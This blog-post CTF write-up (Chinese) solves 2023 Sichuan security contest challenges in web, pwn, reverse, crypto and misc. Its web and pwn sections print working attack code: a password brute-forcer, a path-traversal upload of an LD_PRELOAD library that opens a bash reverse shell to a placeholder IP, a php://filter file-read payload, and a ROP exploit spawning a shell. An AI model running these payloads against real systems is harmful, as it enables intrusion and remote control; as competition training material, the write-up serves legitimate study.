• 2023年四川省网络与信息安全技能大赛初赛 团队赛 Writeup


    Web

    简单的登录

    给了信息 账号为学号密码为电话,写脚本爆破

    在这里插入图片描述

    import requests
    import time
    
    url = "http://80.endpoint-510c6a2a3fca48e49b021dbc9865ebc5.m.ins.cloud.dasctf.com:81/login.php"
    cookies = {"PHPSESSID": "c5372a4bf02885b3eaed1a255ccdc537"}
    
    import itertools
    
    data = {
        "20220890": "139***41269",
        "20220106": "185***95678",
        "20220323": "157***14002",
        "20210271": "159***56321",
        "20200321": "159***33221",
        "20220909": "137***21234",
        "20220981": "136***49043",
        "20221261": "158***77892"
    }
    
    combinations = [''.join(p) for p in itertools.product("0123456789", repeat=3)]
    
    for key, value in data.items():
        for tel in combinations:
            tel1 = value.replace('***', tel)
            data = {"username": f"{key}", "password": f"{tel1}"}
            while True:
                a = requests.post(url,  cookies=cookies, data=data)
                time.sleep(0.2)
                if a.status_code == 429:
                    time.sleep(1)
                else:
                    break
            if '
    账户或密码不正确
    '
    in a.text: print(key, tel1) print("登录失败") else: print(a.status_code, key, tel1) exit()
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    在这里插入图片描述
    得到账号密码:20210271 15978456321

    登陆后台命令执行:nl flag.txt

    在这里插入图片描述

    web-game-1-2

    scene.js发现有发起http请求,但是关键参数被十六进制编码了

    在这里插入图片描述

    解码发现就是给getgame.php传一个POST参数sunnum,猜测就是传数值大于多少就返回flag

    在这里插入图片描述
    直接传大一点的值,回显flag
    在这里插入图片描述

    ezphp2

    
    error_reporting(0);
    $Seed = str_split(uniqid(),10)[1];
    extract(getallheaders());
    mt_srand($Seed);
    $Flag = str_split(file_get_contents("/flag"));
    $Result = "";
    foreach ($Flag as $value){
        $Result = $Result . chr(ord($value)+mt_rand(1,2));
    }
    if (isset($Answer)){
    
        if ($Answer == substr($Result,0,strlen($Answer))){
            echo "wow~";
        }else{
            echo "no~";
        }
    }else{
        highlight_file(__FILE__);
        echo "no~";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    提供随机数种子,answer会和目标进行比较

    import requests
    import time
    url = "http://80.endpoint-2d1f3f78be324607a1d61565983754f5.m.ins.cloud.dasctf.com:81/"
    
    
    def req(flag, s):
        for i in range(33, 128):
            flag = flag[:s] + chr(i)
            headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1",
                       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36",
                       "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
                       "Accept-Encoding": "gzip, deflate", "seed": "2", "answer": flag,
                       "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
    
            while True:
                a = requests.get(url, headers=headers)
                time.sleep(0.2)
                if a.status_code == 429:
                    time.sleep(1)
                else:
                    break
            print(a.text)
            if 'wow~' in a.text:
                return chr(i)
    
    
    flag = ''
    tmp = ''
    for i in range(0, 50):
        result = req(tmp, i)
        tmp += result
        print(tmp)
        
    # FCUEVH};7986:963:;366625418497884:53493~
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    php还原

    
    $Seed = 2; 
    $Result = "FCUEVH};7986:963:;366625418497884:53493~"; 
    mt_srand($Seed);
    $Flag = "";
    
    for ($i = 0; $i < strlen($Result); $i++) {
      $char = $Result[$i];
      $original_char = chr(ord($char) - mt_rand(1, 2));
      $Flag .= $original_char;
    }
    echo $Flag;
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    php5执行,得到flag

    DASCTF{96865985289254513206286663932372}
    
    • 1

    easyLD

    编译so文件

    #include 
    
    static void before(void) __attribute__((constructor));
    static void before(void)
    {
        unsetenv("LD_PRELOAD");
        system("bash -i >& /dev/tcp/xxx.xx.xx.xx/9999 0>&1");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    gcc -shared -fPIC eval.c -o eval.so
    
    • 1

    然后上传

    import requests
    
    
    url = 'http://8000.endpoint-cb07830ae1724a76b05825d83710a85a.m.ins.cloud.dasctf.com:81/upload'
    name = "eval.so"
    with open(f"{name}", 'rb') as file:
        files = {'file': (f"{name}", file, 'image/png')}
        data = {
            'uploadPath': '../../../../../../../../../../../../../../../../../../'
                          '../../../../../../../../../../../../../../../../../../../../../'
                          '../../../../../../../../../../../../../../../../../../../../'
                          '../../../../../../../../../../../../../../.'
                          './../../../../../../../../../../../../../../../../../../../'
                          '../../../../../../../../../../../../../../../../../../../..'
                          '/../../../../../../../../../../../../../../../../../../../../'
                          '../../../../../../../../../../../../../../../../../../../../../.'
                          './../../../../../../../../../../../../../../../../../../../../../',
            'env': f"LD_PRELOAD=/{name}"
        }
    
        response = requests.post(url, data=data, files=files)
    print(response.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    上传过程中后台在开个burp来触发执行环境变量

    在这里插入图片描述
    在监听端即可获得shell

    web-include-1-1

    index有输出源码,猜测为include($file.'.php');,直接伪协议读flag:?file=php://filter/convert.base64-encode/resource=flag

    在这里插入图片描述

    Pwn

    justread

    栈迁移,没开PIE,不过题目没给libc版本,远程连接上后根据leak出的地址,估计是libc2.23,这里给出的偏移是错的
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    Exp

    from pwn import *
    from LibcSearcher import *
    context(arch = 'amd64', os = 'linux', log_level = 'debug')	#info
    
    path = "./pwn"
    
    #p = process(path)
    p = remote('tcp.cloud.dasctf.com', 25949)
    elf = ELF(path)
    libc = elf.libc
    
    def g():
    	gdb.attach(p)
    	raw_input()
    
    
    sl = lambda arg : p.sendline(arg)
    sla = lambda arg1, arg2 : p.sendafterline(arg1, arg2)
    sd = lambda arg : p.send(arg)
    ru = lambda arg : p.recvuntil(arg)
    inv = lambda : p.interactive()
    
    pop_rdi = 0x0000000000400723
    leave_ret = 0x0000000000400691
    bss = 0x601000
    bss1 = bss + 0x500
    vuln_read = 0x400675
    vuln = 0x4006a6
    
    ru(b'just read!\n')
    
    pay1 = b'A' * 0x40 + p64(bss1) + p64(vuln_read)
    sd(pay1)
    
    pay2 = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(vuln)
    pay = pay2.ljust(0x40, b'B') + p64(bss1 - 0x48) + p64(leave_ret)
    sd(pay)
    
    puts_addr = u64(ru(b'\x7f')[-6: ].ljust(0x8, b'\x00'))
    print('puts_addr = ', hex(puts_addr))
    
    libc_base = puts_addr - 0x6f6a0 
    system_addr = libc_base + 0x453a0
    bin_sh = libc_base + 0x18ce57
    
    bss2 = bss1 + 0x300
    pay3 = b'A' * 0x40 + p64(bss2) + p64(vuln_read)
    
    ru(b'just read!\n')
    sd(pay3)
    
    pay4 = p64(pop_rdi + 1) * 2 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
    payload = pay4.ljust(0x40, b'D') + p64(bss2 - 0x48) + p64(leave_ret)
    sd(payload)
    
    inv()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56

    Reverse

    EzGo

    首先找到main_main函数,然后发现发编译不完全,但是我们可以看汇编得到相应逻辑

    在这里插入图片描述
    这里我们不难发现,首先是提示输入flag之后进入encryptFlag函数对输入进行加密加密之后再跟

    QWsYXVkrite0ipkr/Qj07p40zEjY3EnDWZJCWrnZmquTmZH0mvCOWrmYmv1OWr4snVjNmvLr3ygridFOjV7aeyeQFsuk

    进行比较 所以我们只要关注encryFlag做了什么就知道

    在这里插入图片描述
    如下图 发现他只做了一个base64加密 但是base64加密 他在初始化的时候换了 编码表 然后倒序了一下 我们只要换表base64解密然后逆序输出就能得到flag

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    data = '}5ma3rd_r13h7_f0_y7ua3b_n!_3v3!l3b_0hw_350h7_0t5gn0l3b_3ru7uf{FTCSAD'
    
    print(data[::-1])
    
    # DASCTF{fu7ur3_b3l0ng5t0_7h053_wh0_b3l!3v3_!n_b3au7y_0f_7h31r_dr3am5}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    MediumRev

    IDA反编译发现一个函数有花指令,先去除花指令

    在这里插入图片描述

    去除花指令之后 函数如下

    int __cdecl sub_411840(char *a1, size_t Size)
    {
      char v2; // al
      char v3; // al
      char v5; // [esp+0h] [ebp-1ACh]
      char v6; // [esp+D3h] [ebp-D9h]
      unsigned int i; // [esp+DCh] [ebp-D0h]
      unsigned int j; // [esp+DCh] [ebp-D0h]
      size_t v9; // [esp+E8h] [ebp-C4h]
      unsigned int v10; // [esp+E8h] [ebp-C4h]
      size_t v11; // [esp+E8h] [ebp-C4h]
      size_t v12; // [esp+100h] [ebp-ACh]
      char Buf1[52]; // [esp+118h] [ebp-94h] BYREF
      char *v14; // [esp+14Ch] [ebp-60h]
      char *v15; // [esp+158h] [ebp-54h]
      _WORD Buf2[34]; // [esp+164h] [ebp-48h] BYREF
    
      j_memset(Buf2, 0, 0x40u);
      v15 = (char *)Buf2;
      v14 = a1;
      qmemcpy(Buf1, &encode, 0x2Bu);
      v12 = Size / 6;
      while ( *v14 )
        *v15++ = *v14++;
      v9 = 0;
      v15 = (char *)Buf2;
      while ( v9 < v12 )
      {
        for ( i = 0; i < 6; ++i )
        {
          v2 = sub_41123F(*v15, i + 1);
          *v15++ = byte_41B004[0] ^ v2;
        }
        ++v9;
      }
      v10 = 0;
      v15 = (char *)Buf2;
      while ( v10 < 6 )
      {
        v6 = *v15;
        for ( j = 0; j < v12 - 1; ++j )
        {
          *v15 = v15[1];
          ++v15;
        }
        *v15++ = v6;
        ++v10;
      }
      v11 = 0;
      v15 = (char *)&Buf2[3 * v12];
      while ( v11 < Size % 6 )
      {
        *v15 = byte_41B004[2] ^ (byte_41B004[1] + *v15);
        v3 = sub_411181(byte_41B004[0] + *v15, v11 + 3);
        *v15 = byte_41B004[3] ^ (4 * ((byte_41B004[1] >> 1) ^ v3));
        ++v11;
      }
      if ( !j_memcmp(Buf1, Buf2, Size) )
        return printf("Success!\n", v5);
      else
        return printf("Fail.\n", v5);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62

    逻辑很简单,但是需要逆向算法,这边我们可以先dump数据

    s = [ 0x07, 0x3D, 0x63, 0xF5, 0x4E, 0xEA, 0x75, 0x11, 0x04, 0xEE, 
      0x5E, 0x6E, 0x9B, 0x8A, 0x44, 0xF4, 0xB2, 0xF8, 0x1B, 0x39, 
      0x99, 0xF4, 0xF6, 0xCE, 0x80, 0x39, 0x54, 0xA2, 0x93, 0xF8, 
      0x8C, 0x9B, 0xA2, 0xEC, 0xFC, 0x6D, 0x19, 0xB1, 0x04, 0xDC, 
      0xA2, 0x93]
    
    • 1
    • 2
    • 3
    • 4
    • 5

    核心就是先把输入分成7组,对每组的每个字节进行移位和异或,其中异或值就是根据反调试来的
    在这里插入图片描述
    然后将输入分成7组进行每组的移动位置
    在这里插入图片描述
    最后如果输入不是6的倍数则对剩余字节进行的加密
    在这里插入图片描述
    Exp

    s = [0x07, 0x3D, 0x63, 0xF5, 0x4E, 0xEA, 0x75, 0x11, 0x04, 0xEE, 0x5E, 0x6E, 0x9B, 0x8A, 0x44, 0xF4, 0xB2, 0xF8, 0x1B, 0x39, 0x99, 0xF4, 0xF6, 0xCE, 0x80, 0x39, 0x54, 0xA2, 0x93, 0xF8, 0x8C, 0x9B, 0xA2, 0xEC, 0xFC, 0x6D, 0x19, 0xB1, 0x04, 0xDC, 0xA2, 0x93]
    x = 0x57
    #s = [0x94, 0x3E, 0x6B, 0xC1, 0x94, 0xC1, 0xC1, 0x3E, 0x6B, 0xC1, 0x94, 0xC1, 0x94, 0x94, 0x6B, 0xC1, 0x94, 0xC1, 0x94, 0x3E, 0x3E, 0xC1, 0x94, 0xC1, 0x94, 0x3E, 0x6B, 0x6B, 0x94, 0xC1, 0x94, 0x3E, 0x6B, 0xC1, 0xC1, 0xC1, 0x94, 0x3E, 0x6B, 0xC1, 0x94, 0x94]
    #s = [0x43, 0x74, 0x2E, 0x83, 0x98, 0xC0, 0x6B, 0x3E, 0x1B, 0xF1, 0x80, 0xC3, 0x56, 0xD4, 0x5B, 0xD1, 0x90, 0xC1, 0x55, 0xFE, 0x7F, 0xE1, 0xB8, 0xC4, 0x54, 0x7E, 0x7B, 0x3B, 0x88, 0xC2, 0xD5, 0xBE, 0xDB, 0x91, 0xC1, 0x41, 0x94, 0xDE, 0x0B, 0xE9, 0xAD, 0x9C]
    def shift(a, b):
        v4 = b&7
        if v4:
            return (((a >> (8 - v4))&0xff) | ((a << v4)&0xff))
        else:
            return a
    
    for i in range(6):
        tmp = s[7*i+6]
        for j in range(6, 0, -1):
            s[7*i+j] = s[7*i+j-1]
        s[7*i] = tmp
    #print(s)
    for i in range(7):
        for j in range(6):
            s[6*i+j] ^= x
            #print(s[6*i+j])
            s[6*i+j] = shift(s[6*i+j], j+1)
    print(bytes(s))
    
    # DASCTF{w257Br3v1ty_1s_th3_s0u1_of_w1t975q}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    Crypto

    easyhash

    根据题目提示找到这样一篇文章:同态哈希函数(Homomorphic Hashing) - 知乎 (zhihu.com)
    也就是利用指数运算的乘法同态性实现了:明文和的哈希值等于部分明文的哈希值的乘积

    利用上述同态性,还原i为5,6,9时的哈希值乘积。设这一乘积为 h h h,hint.txt中所有哈希值乘积为 f f f则有: ( f ⋅ h ) m o d p = H = 1403 (f \cdot h)modp =H=1403 (fh)modp=H=1403

    满足条件计算的结果有两个:414966713414968256
    分解后者发现其有一个因子为6733,不满足小于p的条件于是排除。那么直接确定了三个哈希值乘积为414966713
    利用yafu分解414966713,用因子进行组合,利用三个因子且均不大于p的条件可得几种组合可能。然后用sage的log求离散对数。

    from Crypto.Util.number import *
            
    facs = [[61*7,47*23,31*29],[61*7,47*29,31*23],[61*7,47*31,29*23],[61*23,47*7,31*29],[61*23,47*29,31*7],[61*23,47*31,7*29]]
    for i in facs:
        try:
            for j in i:
                t1 = G(j).log(g)
                print(chr(t1),end='')
            print()
        except:
            continue
    
    flag = 'DASCTF{'+ '48' + '1' + '8caa75b2d7586e96f4c552ded3654}'
    print(flag)
    
    # DASCTF{4818caa75b2d7586e96f4c552ded3654}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    crypto-rsa-1-1

    from Crypto.Util.number import *
    from Crypto import *
    import gmpy2
    import libnum
    
    n1=9116072673585619132111895403642168497263071691827949298017531396382827298782303749867264589825807183797020472968464660582686417921434431658511530041563901
    n2=9676471733476806363827533442570967957871359923261140318101161479170327996682930238809368950608051282208303548660410073403065643718187781752130771337383629
    c1=8824462894263393560944306775755201891143487603309462108944270494215822172733677936731309917183407096166230876035017809219712288813600390461631853255239986
    c2=5015105118262293349286521985688699702504989063271993070991789714282577934372078450119431649574609758836593485914932778436203219098204688867565801371889451
    e=65535
    
    q=gmpy2.gcd(n1,n2)
    p1=n1//q
    phi_n=(q-1)*(p1-1)
    d1=libnum.invmod(e,phi_n)
    m=pow(c1,d1,n1)
    print(long_to_bytes(m))
    
    # DASCTF{09e6e620057c5df8bd6b95042f8ac11b}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    crypto-classical-1-1

    base64换表,根据题目提示旋转,猜测表为Rot13
    在这里插入图片描述

    Misc

    No.11 is gone2

    ftp传输了68zip,但是使用tshark导不出来,不知道是因为这里是字节码的缘故还是过滤语法和字段有问题

    在这里插入图片描述
    后面实在没办法了,就手工一个一个提取了

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    这个长度很明显可以CRC爆破明文,提取出来之后脚本处理获取所有zip的CRC

    import zipfile
    
    crc_list = []
    for i in range(1, 68 + 1):
    	zipFileName = './gone2/{}.zip'.format(i)
    	file_handler = zipfile.ZipFile(zipFileName)
    	name = file_handler.namelist()[0]
    	name_info = file_handler.getinfo(name)
    	crc_list.append(hex(name_info.CRC))
    	print('[+] {0}: {1}'.format(name,hex(name_info.CRC)))
    print(crc_list)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    然后使用crc32爆破明文,也是同样苦逼手工,没有找到能够批量的方法

    PS:注意11.zip是不一样的,11.zip是有加密的密码

    在这里插入图片描述
    在这里插入图片描述
    最后解hex再解base64就可以了

    在这里插入图片描述
    但是导出打开有问题,发现是flag.txt文件名的位置没有补全

    在这里插入图片描述
    在这里插入图片描述
    尝试补全之后即可正常打开

    有密码,猜测密码是在11.zip中,但是试过伪加密发现不对,尝试爆破发现密码为: 1234

    在这里插入图片描述
    解压得到密码:p@33w07D1sE4sy
    解压flag.zip得到flag

    DASCTF{69a7c3f8eae457779f53be70a7e14a87}
    
    • 1

    misc-zip-1-1

    在这里插入图片描述
    直接根据提示掩码爆破
    在这里插入图片描述
    解压得到flag: DASCTF{b239dcd0fe7b6969b82b8abe1b7bb711}

    misc-pic-1-1

    EXIF

    在这里插入图片描述

    PS D:\Tools\Misc\crc32> php -r "var_dump(hex2bin('4441534354467b36346466336465313562643531653363626131353764363232386464613336387d'));"
    Command line code:1:
    string(40) "DASCTF{64df3de15bd51e3cba157d6228dda368}"
    
    • 1
    • 2
    • 3
  • 相关阅读:
    WEB 渗透之SSTI 模板注入
    Linux上安装FTP
    鸿蒙应用开发:视频播放器,真简单!!!
    什么是脚本语言,解释脚本语言的特点和应用领域
    CopyOnWriteArrayList源码分析
    shiro 框架使用实例
    GRU神经网络
    bugreport中查看开发者选项动画时长缩放日志
    【数据结构】数据结构知识点总结
    DA5 网站用户没有补全的信息
  • 原文地址:https://blog.csdn.net/mochu7777777/article/details/133910944